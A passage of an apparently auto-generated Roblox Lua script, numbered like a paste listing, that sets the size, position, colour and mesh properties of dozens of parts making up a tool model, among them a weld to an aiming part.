  1720. Part110.Reflectance = 0.20000000298023
  1721. Part110.Rotation = Vector3.new(-90, 0, 0)
  1722. Part110.Anchored = true
  1723. Part110.FormFactor = Enum.FormFactor.Custom
  1724. Part110.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1725. Part110.CFrame = CFrame.new(34.5, 0.764503002, -13.585144, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  1726. Part110.BottomSurface = Enum.SurfaceType.Smooth
  1727. Part110.TopSurface = Enum.SurfaceType.Smooth
  1728. Part110.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1729. Part110.Position = Vector3.new(34.5, 0.764503002, -13.585144)
  1730. Part110.Orientation = Vector3.new(-90, 0, 0)
  1731. Part110.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1732. BlockMesh111.Parent = Part110
  1733. BlockMesh111.Scale = Vector3.new(0.888889134, 0.444444567, 0.629628956)
  1734. BlockMesh111.Scale = Vector3.new(0.888889134, 0.444444567, 0.629628956)
  1735. Part112.Parent = Tool0
  1736. Part112.Material = Enum.Material.SmoothPlastic
  1737. Part112.BrickColor = BrickColor.new("Black")
  1738. Part112.Reflectance = 0.20000000298023
  1739. Part112.Anchored = true
  1740. Part112.FormFactor = Enum.FormFactor.Custom
  1741. Part112.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1742. Part112.CFrame = CFrame.new(34.4963379, 1.60898495, -11.859252, 1, 0, 4.37113883e-08, 0, 1, 0, -4.37113883e-08, 0, 1)
  1743. Part112.BottomSurface = Enum.SurfaceType.Smooth
  1744. Part112.TopSurface = Enum.SurfaceType.Smooth
  1745. Part112.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1746. Part112.Position = Vector3.new(34.4963379, 1.60898495, -11.859252)
  1747. Part112.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1748. BlockMesh113.Parent = Part112
  1749. BlockMesh113.Scale = Vector3.new(0.481481433, 0.296296328, 0.666666746)
  1750. BlockMesh113.Scale = Vector3.new(0.481481433, 0.296296328, 0.666666746)
  1751. Part114.Parent = Tool0
  1752. Part114.Material = Enum.Material.SmoothPlastic
  1753. Part114.BrickColor = BrickColor.new("Black")
  1754. Part114.Reflectance = 0.20000000298023
  1755. Part114.Anchored = true
  1756. Part114.FormFactor = Enum.FormFactor.Custom
  1757. Part114.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1758. Part114.CFrame = CFrame.new(34.6148682, 1.44223595, -10.6295776, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1759. Part114.BottomSurface = Enum.SurfaceType.Smooth
  1760. Part114.TopSurface = Enum.SurfaceType.Smooth
  1761. Part114.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1762. Part114.Position = Vector3.new(34.6148682, 1.44223595, -10.6295776)
  1763. Part114.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1764. BlockMesh115.Parent = Part114
  1765. BlockMesh115.Scale = Vector3.new(0.111111112, 0.0370370373, 0.370390445)
  1766. BlockMesh115.Scale = Vector3.new(0.111111112, 0.0370370373, 0.370390445)
  1767. Part116.Parent = Tool0
  1768. Part116.Material = Enum.Material.SmoothPlastic
  1769. Part116.BrickColor = BrickColor.new("Black")
  1770. Part116.Reflectance = 0.20000000298023
  1771. Part116.Rotation = Vector3.new(-90, 0, 0)
  1772. Part116.Anchored = true
  1773. Part116.FormFactor = Enum.FormFactor.Custom
  1774. Part116.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1775. Part116.CFrame = CFrame.new(34.4963379, 1.67563403, -9.32592583, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
  1776. Part116.BottomSurface = Enum.SurfaceType.Smooth
  1777. Part116.TopSurface = Enum.SurfaceType.Smooth
  1778. Part116.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1779. Part116.Position = Vector3.new(34.4963379, 1.67563403, -9.32592583)
  1780. Part116.Orientation = Vector3.new(-89.9599991, 180, 180)
  1781. Part116.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1782. BlockMesh117.Parent = Part116
  1783. BlockMesh117.Scale = Vector3.new(0.0777777806, 0.222222239, 0.370370358)
  1784. BlockMesh117.Scale = Vector3.new(0.0777777806, 0.222222239, 0.370370358)
  1785. Part118.Parent = Tool0
  1786. Part118.Material = Enum.Material.SmoothPlastic
  1787. Part118.BrickColor = BrickColor.new("Black")
  1788. Part118.Reflectance = 0.20000000298023
  1789. Part118.Anchored = true
  1790. Part118.FormFactor = Enum.FormFactor.Custom
  1791. Part118.Size = Vector3.new(0.200000003, 0.311111033, 0.200000003)
  1792. Part118.CFrame = CFrame.new(34.5037842, 0.853371024, -11.4851685, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1793. Part118.BottomSurface = Enum.SurfaceType.Smooth
  1794. Part118.TopSurface = Enum.SurfaceType.Smooth
  1795. Part118.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1796. Part118.Position = Vector3.new(34.5037842, 0.853371024, -11.4851685)
  1797. Part118.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1798. BlockMesh119.Parent = Part118
  1799. BlockMesh119.Scale = Vector3.new(0.555556238, 1, 0.185199708)
  1800. BlockMesh119.Scale = Vector3.new(0.555556238, 1, 0.185199708)
  1801. Part120.Parent = Tool0
  1802. Part120.Material = Enum.Material.SmoothPlastic
  1803. Part120.BrickColor = BrickColor.new("Really black")
  1804. Part120.Reflectance = 0.20000000298023
  1805. Part120.Anchored = true
  1806. Part120.FormFactor = Enum.FormFactor.Custom
  1807. Part120.Size = Vector3.new(0.207407534, 0.200000003, 0.400004059)
  1808. Part120.CFrame = CFrame.new(34.5, 1.30527401, -10.0814819, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1809. Part120.BottomSurface = Enum.SurfaceType.Smooth
  1810. Part120.TopSurface = Enum.SurfaceType.Smooth
  1811. Part120.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1812. Part120.Position = Vector3.new(34.5, 1.30527401, -10.0814819)
  1813. Part120.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1814. BlockMesh121.Parent = Part120
  1815. BlockMesh121.Scale = Vector3.new(1, 0.370369822, 1)
  1816. BlockMesh121.Scale = Vector3.new(1, 0.370369822, 1)
  1817. Part122.Parent = Tool0
  1818. Part122.Material = Enum.Material.SmoothPlastic
  1819. Part122.BrickColor = BrickColor.new("Black")
  1820. Part122.Reflectance = 0.20000000298023
  1821. Part122.Anchored = true
  1822. Part122.FormFactor = Enum.FormFactor.Custom
  1823. Part122.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1824. Part122.CFrame = CFrame.new(34.5999756, 1.40903294, -10.6370239, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1825. Part122.BottomSurface = Enum.SurfaceType.Smooth
  1826. Part122.TopSurface = Enum.SurfaceType.Smooth
  1827. Part122.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1828. Part122.Position = Vector3.new(34.5999756, 1.40903294, -10.6370239)
  1829. Part122.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1830. BlockMesh123.Parent = Part122
  1831. BlockMesh123.Scale = Vector3.new(0.0370370373, 0.370370209, 0.444464564)
  1832. BlockMesh123.Scale = Vector3.new(0.0370370373, 0.370370209, 0.444464564)
  1833. Part124.Parent = Tool0
  1834. Part124.Material = Enum.Material.SmoothPlastic
  1835. Part124.BrickColor = BrickColor.new("Black")
  1836. Part124.Anchored = true
  1837. Part124.FormFactor = Enum.FormFactor.Custom
  1838. Part124.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1839. Part124.CFrame = CFrame.new(34.4963379, 1.90903294, -11.1999435, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1840. Part124.BottomSurface = Enum.SurfaceType.Smooth
  1841. Part124.TopSurface = Enum.SurfaceType.Smooth
  1842. Part124.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1843. Part124.Position = Vector3.new(34.4963379, 1.90903294, -11.1999435)
  1844. Part124.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1845. BlockMesh125.Parent = Part124
  1846. BlockMesh125.Scale = Vector3.new(0.0370370373, 0.0370370373, 0.0740740821)
  1847. BlockMesh125.Scale = Vector3.new(0.0370370373, 0.0370370373, 0.0740740821)
  1848. Part126.Parent = Tool0
  1849. Part126.Material = Enum.Material.SmoothPlastic
  1850. Part126.BrickColor = BrickColor.new("Black")
  1851. Part126.Anchored = true
  1852. Part126.FormFactor = Enum.FormFactor.Custom
  1853. Part126.Size = Vector3.new(0.200000003, 0.340740651, 0.200000003)
  1854. Part126.CFrame = CFrame.new(34.4963379, 1.86826003, -11.5814819, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1855. Part126.BottomSurface = Enum.SurfaceType.Smooth
  1856. Part126.TopSurface = Enum.SurfaceType.Smooth
  1857. Part126.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1858. Part126.Position = Vector3.new(34.4963379, 1.86826003, -11.5814819)
  1859. Part126.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1860. SpecialMesh127.Parent = Part126
  1861. SpecialMesh127.MeshId = "http://www.roblox.com/asset/?id=3270017"
  1862. SpecialMesh127.Scale = Vector3.new(0.259259254, 0.259259254, 0.259259254)
  1863. SpecialMesh127.MeshType = Enum.MeshType.FileMesh
  1864. SpecialMesh127.Scale = Vector3.new(0.259259254, 0.259259254, 0.259259254)
  1865. Part128.Parent = Tool0
  1866. Part128.Material = Enum.Material.SmoothPlastic
  1867. Part128.BrickColor = BrickColor.new("Black")
  1868. Part128.Reflectance = 0.20000000298023
  1869. Part128.Rotation = Vector3.new(-90, 0, 0)
  1870. Part128.Anchored = true
  1871. Part128.FormFactor = Enum.FormFactor.Custom
  1872. Part128.Size = Vector3.new(0.200000003, 0.200000003, 0.896296263)
  1873. Part128.CFrame = CFrame.new(34.5, 1.14975703, -13.6740723, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  1874. Part128.BottomSurface = Enum.SurfaceType.Smooth
  1875. Part128.TopSurface = Enum.SurfaceType.Smooth
  1876. Part128.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1877. Part128.Position = Vector3.new(34.5, 1.14975703, -13.6740723)
  1878. Part128.Orientation = Vector3.new(-90, 0, 0)
  1879. Part128.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1880. BlockMesh129.Parent = Part128
  1881. BlockMesh129.Scale = Vector3.new(0.888889134, 0.444444567, 1)
  1882. BlockMesh129.Scale = Vector3.new(0.888889134, 0.444444567, 1)
  1883. Part130.Parent = Tool0
  1884. Part130.Material = Enum.Material.SmoothPlastic
  1885. Part130.Reflectance = 0.20000000298023
  1886. Part130.Anchored = true
  1887. Part130.FormFactor = Enum.FormFactor.Custom
  1888. Part130.Size = Vector3.new(0.200000003, 0.200000003, 0.340744704)
  1889. Part130.CFrame = CFrame.new(34.5999756, 1.40512502, -11.2370005, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1890. Part130.BottomSurface = Enum.SurfaceType.Smooth
  1891. Part130.TopSurface = Enum.SurfaceType.Smooth
  1892. Part130.Position = Vector3.new(34.5999756, 1.40512502, -11.2370005)
  1893. BlockMesh131.Parent = Part130
  1894. BlockMesh131.Scale = Vector3.new(0.0370370373, 0.555555463, 1)
  1895. BlockMesh131.Scale = Vector3.new(0.0370370373, 0.555555463, 1)
  1896. Part132.Parent = Tool0
  1897. Part132.Material = Enum.Material.SmoothPlastic
  1898. Part132.BrickColor = BrickColor.new("Black")
  1899. Part132.Reflectance = 0.20000000298023
  1900. Part132.Anchored = true
  1901. Part132.FormFactor = Enum.FormFactor.Custom
  1902. Part132.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1903. Part132.CFrame = CFrame.new(34.4963379, 1.64609396, -11.9481201, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  1904. Part132.BottomSurface = Enum.SurfaceType.Smooth
  1905. Part132.TopSurface = Enum.SurfaceType.Smooth
  1906. Part132.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1907. Part132.Position = Vector3.new(34.4963379, 1.64609396, -11.9481201)
  1908. Part132.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1909. BlockMesh133.Parent = Part132
  1910. BlockMesh133.Scale = Vector3.new(0.481481433, 0.666666746, 0.222222209)
  1911. BlockMesh133.Scale = Vector3.new(0.481481433, 0.666666746, 0.222222209)
  1912. Part134.Parent = Tool0
  1913. Part134.Material = Enum.Material.SmoothPlastic
  1914. Part134.BrickColor = BrickColor.new("Black")
  1915. Part134.Rotation = Vector3.new(0, 0, -135)
  1916. Part134.Anchored = true
  1917. Part134.FormFactor = Enum.FormFactor.Custom
  1918. Part134.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1919. Part134.CFrame = CFrame.new(34.5302734, 1.86215794, -11.2036743, -0.70710665, 0.70710659, 0, -0.70710659, -0.70710665, 0, -0, 0, 1)
  1920. Part134.BottomSurface = Enum.SurfaceType.Smooth
  1921. Part134.TopSurface = Enum.SurfaceType.Smooth
  1922. Part134.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1923. Part134.Position = Vector3.new(34.5302734, 1.86215794, -11.2036743)
  1924. Part134.Orientation = Vector3.new(0, 0, -135)
  1925. Part134.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1926. BlockMesh135.Parent = Part134
  1927. BlockMesh135.Scale = Vector3.new(0.0370370373, 0.0740740895, 0.0370370373)
  1928. BlockMesh135.Scale = Vector3.new(0.0370370373, 0.0740740895, 0.0370370373)
  1929. Part136.Parent = Tool0
  1930. Part136.Material = Enum.Material.SmoothPlastic
  1931. Part136.BrickColor = BrickColor.new("Black")
  1932. Part136.Reflectance = 0.20000000298023
  1933. Part136.Rotation = Vector3.new(0, 0, -90)
  1934. Part136.Anchored = true
  1935. Part136.FormFactor = Enum.FormFactor.Custom
  1936. Part136.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1937. Part136.CFrame = CFrame.new(34.4481201, 1.67563403, -9.34069824, 0, 1, 0, -0.999999762, 0, 1.49011612e-08, 1.49011612e-08, 0, 0.999999762)
  1938. Part136.BottomSurface = Enum.SurfaceType.Smooth
  1939. Part136.TopSurface = Enum.SurfaceType.Smooth
  1940. Part136.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1941. Part136.Position = Vector3.new(34.4481201, 1.67563403, -9.34069824)
  1942. Part136.Orientation = Vector3.new(0, 0, -90)
  1943. Part136.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1944. SpecialMesh137.Parent = Part136
  1945. SpecialMesh137.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  1946. SpecialMesh137.MeshType = Enum.MeshType.Wedge
  1947. SpecialMesh137.Scale = Vector3.new(0.370370418, 0.0740706027, 0.0740740746)
  1948. Part138.Parent = Tool0
  1949. Part138.Material = Enum.Material.SmoothPlastic
  1950. Part138.BrickColor = BrickColor.new("Black")
  1951. Part138.Reflectance = 0.20000000298023
  1952. Part138.Rotation = Vector3.new(-90, 0, 0)
  1953. Part138.Anchored = true
  1954. Part138.FormFactor = Enum.FormFactor.Custom
  1955. Part138.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1956. Part138.CFrame = CFrame.new(34.5593262, 1.67563403, -9.35180378, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
  1957. Part138.BottomSurface = Enum.SurfaceType.Smooth
  1958. Part138.TopSurface = Enum.SurfaceType.Smooth
  1959. Part138.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1960. Part138.Position = Vector3.new(34.5593262, 1.67563403, -9.35180378)
  1961. Part138.Orientation = Vector3.new(-89.9599991, 180, 180)
  1962. Part138.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1963. BlockMesh139.Parent = Part138
  1964. BlockMesh139.Scale = Vector3.new(0.0740739629, 0.185185209, 0.370370358)
  1965. BlockMesh139.Scale = Vector3.new(0.0740739629, 0.185185209, 0.370370358)
  1966. Part140.Parent = Tool0
  1967. Part140.Material = Enum.Material.SmoothPlastic
  1968. Part140.BrickColor = BrickColor.new("Black")
  1969. Part140.Reflectance = 0.20000000298023
  1970. Part140.Rotation = Vector3.new(90, 0, 180)
  1971. Part140.Anchored = true
  1972. Part140.FormFactor = Enum.FormFactor.Custom
  1973. Part140.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1974. Part140.CFrame = CFrame.new(34.4333496, 1.67563403, -9.35180378, -1, -0, 0, -0, -1.49011612e-08, -0.999999762, -0, -0.999999762, 1.49011612e-08)
  1975. Part140.BottomSurface = Enum.SurfaceType.Smooth
  1976. Part140.TopSurface = Enum.SurfaceType.Smooth
  1977. Part140.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1978. Part140.Position = Vector3.new(34.4333496, 1.67563403, -9.35180378)
  1979. Part140.Orientation = Vector3.new(89.9599991, 0, -180)
  1980. Part140.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1981. BlockMesh141.Parent = Part140
  1982. BlockMesh141.Scale = Vector3.new(0.0740739629, 0.185185209, 0.370370358)
  1983. BlockMesh141.Scale = Vector3.new(0.0740739629, 0.185185209, 0.370370358)
  1984. Part142.Parent = Tool0
  1985. Part142.Material = Enum.Material.SmoothPlastic
  1986. Part142.BrickColor = BrickColor.new("Really black")
  1987. Part142.Reflectance = 0.20000000298023
  1988. Part142.Anchored = true
  1989. Part142.FormFactor = Enum.FormFactor.Custom
  1990. Part142.Size = Vector3.new(0.207407445, 0.200000003, 0.200000003)
  1991. Part142.CFrame = CFrame.new(34.5, 1.30527401, -10.3259258, 0.999998569, 1.91068229e-15, -4.37113172e-08, -1.91068059e-15, 0.999998331, -3.55271368e-15, 4.37112746e-08, 0, 0.999997377)
  1992. Part142.BottomSurface = Enum.SurfaceType.Smooth
  1993. Part142.TopSurface = Enum.SurfaceType.Smooth
  1994. Part142.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1995. Part142.Position = Vector3.new(34.5, 1.30527401, -10.3259258)
  1996. Part142.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  1997. SpecialMesh143.Parent = Part142
  1998. SpecialMesh143.Scale = Vector3.new(1, 0.370366931, 0.44444418)
  1999. SpecialMesh143.MeshType = Enum.MeshType.Wedge
  2000. SpecialMesh143.Scale = Vector3.new(1, 0.370366931, 0.44444418)
  2001. Part144.Parent = Tool0
  2002. Part144.Material = Enum.Material.SmoothPlastic
  2003. Part144.BrickColor = BrickColor.new("Black")
  2004. Part144.Reflectance = 0.20000000298023
  2005. Part144.Anchored = true
  2006. Part144.FormFactor = Enum.FormFactor.Custom
  2007. Part144.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2008. Part144.CFrame = CFrame.new(34.4963379, 1.60532296, -9.10735989, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2009. Part144.BottomSurface = Enum.SurfaceType.Smooth
  2010. Part144.TopSurface = Enum.SurfaceType.Smooth
  2011. Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2012. Part144.Position = Vector3.new(34.4963379, 1.60532296, -9.10735989)
  2013. Part144.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2014. BlockMesh145.Parent = Part144
  2015. BlockMesh145.Scale = Vector3.new(0.481481433, 0.333333373, 0.555555582)
  2016. BlockMesh145.Scale = Vector3.new(0.481481433, 0.333333373, 0.555555582)
  2017. Part146.Parent = Tool0
  2018. Part146.Material = Enum.Material.SmoothPlastic
  2019. Part146.BrickColor = BrickColor.new("Black")
  2020. Part146.Reflectance = 0.20000000298023
  2021. Part146.Rotation = Vector3.new(180, 0, -90)
  2022. Part146.Anchored = true
  2023. Part146.FormFactor = Enum.FormFactor.Custom
  2024. Part146.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2025. Part146.CFrame = CFrame.new(34.4630127, 1.67563403, -9.39257813, 0, 1, -0, 0.999999762, 0, -1.49011612e-08, -1.49011612e-08, 0, -0.999999762)
  2026. Part146.BottomSurface = Enum.SurfaceType.Smooth
  2027. Part146.TopSurface = Enum.SurfaceType.Smooth
  2028. Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2029. Part146.Position = Vector3.new(34.4630127, 1.67563403, -9.39257813)
  2030. Part146.Orientation = Vector3.new(0, -180, 90)
  2031. Part146.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2032. SpecialMesh147.Parent = Part146
  2033. SpecialMesh147.Scale = Vector3.new(0.370370418, 0.0740740821, 0.0740740821)
  2034. SpecialMesh147.MeshType = Enum.MeshType.Wedge
  2035. SpecialMesh147.Scale = Vector3.new(0.370370418, 0.0740740821, 0.0740740821)
  2036. Part148.Parent = Tool0
  2037. Part148.Material = Enum.Material.SmoothPlastic
  2038. Part148.BrickColor = BrickColor.new("Black")
  2039. Part148.Rotation = Vector3.new(180, 0, 90)
  2040. Part148.Anchored = true
  2041. Part148.FormFactor = Enum.FormFactor.Custom
  2042. Part148.Size = Vector3.new(0.200000003, 0.200000003, 1.34074688)
  2043. Part148.CFrame = CFrame.new(34.3963623, 1.42001903, -9.67034817, 0, -1, -0, -1, 0, -0, 0, 0, -1)
  2044. Part148.BottomSurface = Enum.SurfaceType.Smooth
  2045. Part148.TopSurface = Enum.SurfaceType.Smooth
  2046. Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2047. Part148.Position = Vector3.new(34.3963623, 1.42001903, -9.67034817)
  2048. Part148.Orientation = Vector3.new(0, -180, -90)
  2049. Part148.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2050. BlockMesh149.Parent = Part148
  2051. BlockMesh149.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
  2052. BlockMesh149.Scale = Vector3.new(0.555556417, 0.0740740746, 1)
  2053. Part150.Parent = Tool0
  2054. Part150.Material = Enum.Material.SmoothPlastic
  2055. Part150.BrickColor = BrickColor.new("Black")
  2056. Part150.Rotation = Vector3.new(-15, 0, 0)
  2057. Part150.Anchored = true
  2058. Part150.FormFactor = Enum.FormFactor.Custom
  2059. Part150.Size = Vector3.new(0.200000003, 0.207407385, 0.200000003)
  2060. Part150.CFrame = CFrame.new(34.5037842, 0.922460973, -11.7921143, 1, 0, 0, 0, 0.965925813, 0.258819044, 0, -0.258819044, 0.965925813)
  2061. Part150.BottomSurface = Enum.SurfaceType.Smooth
  2062. Part150.TopSurface = Enum.SurfaceType.Smooth
  2063. Part150.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2064. Part150.Position = Vector3.new(34.5037842, 0.922460973, -11.7921143)
  2065. Part150.Orientation = Vector3.new(-15, 0, 0)
  2066. Part150.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2067. BlockMesh151.Parent = Part150
  2068. BlockMesh151.Scale = Vector3.new(0.185185179, 1, 0.185185179)
  2069. BlockMesh151.Scale = Vector3.new(0.185185179, 1, 0.185185179)
  2070. Part152.Parent = Tool0
  2071. Part152.Material = Enum.Material.SmoothPlastic
  2072. Part152.BrickColor = BrickColor.new("Black")
  2073. Part152.Reflectance = 0.20000000298023
  2074. Part152.Rotation = Vector3.new(-180, 0, 0)
  2075. Part152.Anchored = true
  2076. Part152.FormFactor = Enum.FormFactor.Custom
  2077. Part152.Size = Vector3.new(0.200000003, 0.629629076, 0.200000003)
  2078. Part152.CFrame = CFrame.new(34.5, 0.716408014, -11.9296265, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  2079. Part152.BottomSurface = Enum.SurfaceType.Smooth
  2080. Part152.TopSurface = Enum.SurfaceType.Smooth
  2081. Part152.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2082. Part152.Position = Vector3.new(34.5, 0.716408014, -11.9296265)
  2083. Part152.Orientation = Vector3.new(0, 180, 180)
  2084. Part152.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2085. SpecialMesh153.Parent = Part152
  2086. SpecialMesh153.Scale = Vector3.new(0.962963223, 1, 0.92592597)
  2087. SpecialMesh153.MeshType = Enum.MeshType.Wedge
  2088. SpecialMesh153.Scale = Vector3.new(0.962963223, 1, 0.92592597)
  2089. Part154.Parent = Tool0
  2090. Part154.Material = Enum.Material.SmoothPlastic
  2091. Part154.BrickColor = BrickColor.new("Black")
  2092. Part154.Reflectance = 0.20000000298023
  2093. Part154.Anchored = true
  2094. Part154.FormFactor = Enum.FormFactor.Custom
  2095. Part154.Size = Vector3.new(0.200000003, 0.659259379, 0.24444437)
  2096. Part154.CFrame = CFrame.new(34.5, 0.590430021, -12.3666382, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2097. Part154.BottomSurface = Enum.SurfaceType.Smooth
  2098. Part154.TopSurface = Enum.SurfaceType.Smooth
  2099. Part154.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2100. Part154.Position = Vector3.new(34.5, 0.590430021, -12.3666382)
  2101. Part154.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2102. SpecialMesh155.Parent = Part154
  2103. SpecialMesh155.Scale = Vector3.new(0.962963223, 1, 1)
  2104. SpecialMesh155.MeshType = Enum.MeshType.Wedge
  2105. SpecialMesh155.Scale = Vector3.new(0.962963223, 1, 1)
  2106. Part156.Parent = Tool0
  2107. Part156.Material = Enum.Material.SmoothPlastic
  2108. Part156.BrickColor = BrickColor.new("Black")
  2109. Part156.Reflectance = 0.20000000298023
  2110. Part156.Rotation = Vector3.new(-90, 0, 0)
  2111. Part156.Anchored = true
  2112. Part156.FormFactor = Enum.FormFactor.Custom
  2113. Part156.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2114. Part156.CFrame = CFrame.new(34.5444336, 1.67563403, -9.31847382, 1, -0, 0, 0, -1.49011612e-08, 0.999999762, 0, -0.999999762, -1.49011612e-08)
  2115. Part156.BottomSurface = Enum.SurfaceType.Smooth
  2116. Part156.TopSurface = Enum.SurfaceType.Smooth
  2117. Part156.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2118. Part156.Position = Vector3.new(34.5444336, 1.67563403, -9.31847382)
  2119. Part156.Orientation = Vector3.new(-89.9599991, 180, 180)
  2120. Part156.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2121. BlockMesh157.Parent = Part156
  2122. BlockMesh157.Scale = Vector3.new(0.0740739629, 0.148148164, 0.370370358)
  2123. BlockMesh157.Scale = Vector3.new(0.0740739629, 0.148148164, 0.370370358)
  2124. Part158.Parent = Tool0
  2125. Part158.Material = Enum.Material.SmoothPlastic
  2126. Part158.BrickColor = BrickColor.new("Black")
  2127. Part158.Reflectance = 0.20000000298023
  2128. Part158.Rotation = Vector3.new(-90, 0, 0)
  2129. Part158.Anchored = true
  2130. Part158.FormFactor = Enum.FormFactor.Custom
  2131. Part158.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2132. Part158.CFrame = CFrame.new(34.4296875, 1.67563403, -12.1740723, 1, 0, -0, 0, 0, 1, 0, -1, 0)
  2133. Part158.BottomSurface = Enum.SurfaceType.Smooth
  2134. Part158.TopSurface = Enum.SurfaceType.Smooth
  2135. Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2136. Part158.Position = Vector3.new(34.4296875, 1.67563403, -12.1740723)
  2137. Part158.Orientation = Vector3.new(-90, 0, 0)
  2138. Part158.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2139. BlockMesh159.Parent = Part158
  2140. BlockMesh159.Scale = Vector3.new(0.111111112, 0.666666627, 0.370370358)
  2141. BlockMesh159.Scale = Vector3.new(0.111111112, 0.666666627, 0.370370358)
  2142. ManualWeld160.Name = "Part-to-AimPart Strong Joint"
  2143. ManualWeld160.Parent = Part158
  2144. ManualWeld160.C0 = CFrame.new(-0.100000001, -0.100000001, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
  2145. ManualWeld160.C1 = CFrame.new(0.166648865, -0.0962898731, -0.107381821, -0.999999702, -4.8854865e-08, 5.96046448e-08, 5.96046448e-08, 1.34268845e-08, 0.999999702, -4.88548757e-08, 1, -5.71382657e-08)
  2146. ManualWeld160.Part0 = Part158
  2147. ManualWeld160.Part1 = Part237
  2148. Part161.Parent = Tool0
  2149. Part161.Material = Enum.Material.SmoothPlastic
  2150. Part161.BrickColor = BrickColor.new("Black")
  2151. Part161.Rotation = Vector3.new(-180, 0, 0)
  2152. Part161.Anchored = true
  2153. Part161.FormFactor = Enum.FormFactor.Custom
  2154. Part161.Size = Vector3.new(0.200000003, 0.200000003, 1.97037506)
  2155. Part161.CFrame = CFrame.new(34.5, 1.26816404, -9.98516846, 1, 0, 0, 0, -1, 0, 0, 0, -1)
  2156. Part161.BottomSurface = Enum.SurfaceType.Smooth
  2157. Part161.TopSurface = Enum.SurfaceType.Smooth
  2158. Part161.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2159. Part161.Position = Vector3.new(34.5, 1.26816404, -9.98516846)
  2160. Part161.Orientation = Vector3.new(0, 180, 180)
  2161. Part161.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2162. BlockMesh162.Parent = Part161
  2163. BlockMesh162.Scale = Vector3.new(0.666667521, 0.51851815, 1)
  2164. BlockMesh162.Scale = Vector3.new(0.666667521, 0.51851815, 1)
  2165. Part163.Parent = Tool0
  2166. Part163.Material = Enum.Material.SmoothPlastic
  2167. Part163.BrickColor = BrickColor.new("Black")
  2168. Part163.Reflectance = 0.20000000298023
  2169. Part163.Rotation = Vector3.new(0, 0, -90)
  2170. Part163.Anchored = true
  2171. Part163.FormFactor = Enum.FormFactor.Custom
  2172. Part163.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
